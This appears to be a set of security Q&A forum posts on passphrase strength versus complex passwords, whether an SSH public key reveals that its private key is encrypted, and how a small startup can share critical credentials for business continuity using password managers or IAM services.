Firstly, the concept of a 'strong random password' as most people think of it isn't actually all that good.  It's pretty well established that what people classically called strong passwords (and what many websites still require you to use) are hard for people to remember but easy for computers to guess, and therefore not really all that useful.  If, instead, you use something similar to the XKCD approach (XKCD #936), it's pretty trivial to remember, and if done right can be insanely secure (especially if you mix languages).

Now, even ignoring that though, most people actually can remember classically complex passwords without much difficulty if they use them regularly.  The issue here is that many people use persistent login sessions (which are bad for other reasons as well), and have things set up to remember their passwords for them.  If you're typing it in every day, you'll have it memorized, at least as muscle memory, after at most a few weeks.

Also, the point about weak storage is irrelevant, because it's not specific to passwords.  It's just as possible for 2FA systems to have the same issues for the second factor as it is the password.

Altogether, that leaves reuse, but that's still an issue for many alternatives (it's not like you can realistically use a different retina for each retina scan, or a different finger for each fingerprint scan).


Is it possible having only public key from SSH keypair to see if private key is password protected? As a person responsible for security I wonder on this subject. To provide best security I don't want to accept/deploy public keys for users if private key is not password protected.

However there does not seem to be any information on this online.

Yes, I know that password protection happens only on client side and therefore is relevant only for private key, but my thought on this was that on public key generation time it could have some meta-data added to it showing that private key has been password protected.

No.  It has nothing to do with the key generation.  One can encrypt a key, later remove the password, change the password, and/or change the algorithm.  The reverse is also true one can start with an unencrypted key and later encrypt it.  The encryption is done client side after the keypair generation is complete.

It really is no different than encrypting any other type of data.  I would point out if encrypting a key leaked that information to the public key that would be a bad design.


Managing critical passwords and data across a small business with a focus on business continuity I work with a small startup in the beginning of it's life cycle.  I recently raised some security concerns involving business continuity and emergency preparedness.

I have been trying to make a case for the importance of having a plan for incident response, such as the ability to have critical sign-ins and passwords or other credentials accessible in the event of a security incident or catastrophe (also including documents or procedures containing sensitive information to cover things such as needing to redeploy our environment) or have access to certain critical services or accounts without relying on the availability of specific individuals who own those accounts as we are a multinational team.  Currently, we don't have a lot of organization regarding this area.  There are accounts with owners that no longer participate in the teams and many instances of "if it breaks, we gotta hope this one guy in insert country here will be available in the middle of the night."

I looked through some options, and password managers seem to fit the bill for at least some of this.  A few people recommended KeePassX in related questions but I can't tell if it would be useful for multiple team members and I'd have to research it to see if it's something that would be easily portable.  There doesn't seem to be much documentation and parts of their website are down which makes me wonder how legitimate it is. I personally use 1Password and they seem to have a team focused plan that includes an Administrator dashboard to manage permissions and access but lacks auditing options like change/access logs without upgrading to the business plan at twice the cost.  Cost is a big factor in any solution as any budget increase (even small ones) is difficult to negotiate at this point, but if there is a costly solution that is hands-down the best, I can pitch it and hope for the best.

Does anyone know any better options?
Am I thinking in the right direction or am I focusing too much on password managers where another solution might be a better fit?
Am I creating additional security issues by trying to put all this sensitive information in one spot?
Is it better to consider a physical solution (e.g. buy a safe) even though none of us are in the same location?

My aim is to understand what my options are, which option/service/product best fits our needs, to research how to use the best options and to pitch this final decision to my superiors.

Because cost is such a concern, then you need to be able to calculate the cost of downtime in a variety of scenarios. You need to perform that calculation first, then you can compare the costs of tools and determine if they are "worth it".

You might find out that there is no cost to downtime, even extended downtime, but rather bosses or stakeholders might get grumpy if the downtime was longer than their comfort zone. I've been in small start-ups where this was true.

If there is no cost to downtime, then you have no need to solve this problem because there is no problem. If the bosses/stakeholders will get grumpy, then you get them to pay for the tool that will resolve their grumpiness.

You have two basic solutions:

share/store passwords
use a tool that acts as an umbrella login service that grants access to whoever needs it

You can put passwords in an online safe, or a physical one, write them down in spreadsheets, etc. This is cheap, easy, and effective. You pay for the security controls to keep the passwords safe from unauthorised access. For this option, you only need to decide on costs, features, and security. It's a pretty basic analysis for you to determine the better course of action. (For the physical safe, who has the combination? You hope that they are available in the middle of the night. If you encrypt a password file, who holds the decryption key? And so on...)

The other option is to have an umbrella service (IAM, Cloud Services Broker, etc.) that can access everything, and users authenticate to this tool in order to access all the accounts that you need. If your team suddenly needs access to something in an emergency, you just tell the tool to change your access levels and you are on your way. This is the most flexible and most secure approach. It is also the most costly (in my experience).

So, you are not missing out on options. You just need to determine the costs of downtime, the comfort levels of your stakeholders, and which of the two options best meets your needs.